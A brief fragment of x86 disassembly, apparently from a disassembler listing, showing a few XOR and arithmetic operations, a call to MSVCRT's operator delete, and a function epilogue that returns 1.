add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret